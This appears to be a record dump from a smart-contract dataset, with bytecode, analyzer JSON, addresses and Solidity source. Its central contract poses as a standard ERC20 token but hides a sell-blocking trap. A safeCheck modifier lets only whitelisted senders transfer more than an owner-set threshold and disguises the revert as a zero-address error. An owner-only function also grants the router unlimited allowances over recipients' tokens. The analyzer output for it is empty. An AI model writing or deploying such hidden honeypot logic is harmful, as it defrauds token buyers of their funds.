f88360405180606001604052806026815260200161166e60269139610b14565b9050610805338583610b82565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff168061083a576000610879565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600b81526a29b7b637b9902a37b5b2b760a91b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667ff87dc38febb0ef729c837d296f401d9d4ecbf73460449963660fa976a3ba043a6108ef610db7565b306040516020016109039493929190611342565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610954949392919061131e565b604051602081830303815290604052805190602001209050600082826040516020016109819291906112db565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109be9493929190611366565b6020604051602081039080840390855afa1580156109e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a135760405162461bcd60e51b81526004016105aa906113d7565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a525760405162461bcd60e51b81526004016105aa906114aa565b87421115610a725760405162461bcd60e51b81526004016105aa9061141d565b610a7c818b610d2d565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b3b5760405162461bcd60e51b81526004016105aa9190611384565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b7a5760405162461bcd60e51b81526004016105aa9190611384565b505050900390565b6001600160a01b038316610ba85760405162461bcd60e51b81526004016105aa90611549565b6001600160a01b038216610bce5760405162461bcd60e51b81526004016105aa906114ec565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610c19936001600160601b03909216928592919061161390830139610b43565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c8194919091169285929091906116f090830139610dbb565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cee9085906115e4565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d2892918216911683610df7565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610db1828483610df7565b50505050565b4690565b6000838301826001600160601b038087169083161015610dee5760405162461bcd60e51b81526004016105aa9190611384565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e2257506000816001600160601b0316115b15610d28576001600160a01b03831615610eda576001600160a01b03831660009081526004602052604081205463ffffffff169081610e62576000610ea1565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610ec882856040518060600160405280602881526020016116c860289139610b43565b9050610ed686848484610f85565b5050505b6001600160a01b03821615610d28576001600160a01b03821660009081526004602052604081205463ffffffff169081610f15576000610f54565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f7b828560405180606001604052806027815260200161175d60279139610dbb565b9050610a81858484845b6000610fa9436040518060600160405280603481526020016116946034913961113a565b905060008463ffffffff16118015610ff257506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611051576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110f0565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161112b9291906115f8565b60405180910390a25050505050565b600081600160201b8410610b3b5760405162461bcd60e51b81526004016105aa9190611384565b604080518082019091526000808252602082015290565b80356001600160a01b038116811461058457600080fd5b6000602082840312156111a0578081fd5b61087982611178565b600080604083850312156111bb578081fd5b6111c483611178565b91506111d260208401611178565b90509250929050565b6000806000606084860312156111ef578081fd5b6111f884611178565b925061120660208501611178565b9150604084013590509250925092565b60008060408385031215611228578182fd5b61123183611178565b946020939093013593505050565b60008060008060008060c08789031215611257578182fd5b61126087611178565b95506020870135945060408701359350606087013560ff81168114611283578283fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156112af578182fd5b6112b883611178565b9150602083013563ffffffff811681146112d0578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156113b057858101830151858201604001528201611394565b818111156113c15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b60208082526027908201527f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b60208082526022908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b6020808252603a908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b039283168152911660208201526040019056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220056b26ce27f3830307282050cd21e6bca9f4bafd368baea2c97af29e1a809b7364736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,366 |
0x82365e957e2e6c0e8fe8e2db35af620816d44c1e
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_OMI(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122020387583e3fd092c4ec1d90fc665a099af733a0f463ea4265bf6ec3766f8a00f64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,367 |
0xe877e12d278c6a6d2cc6e34184b340216b55b236
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
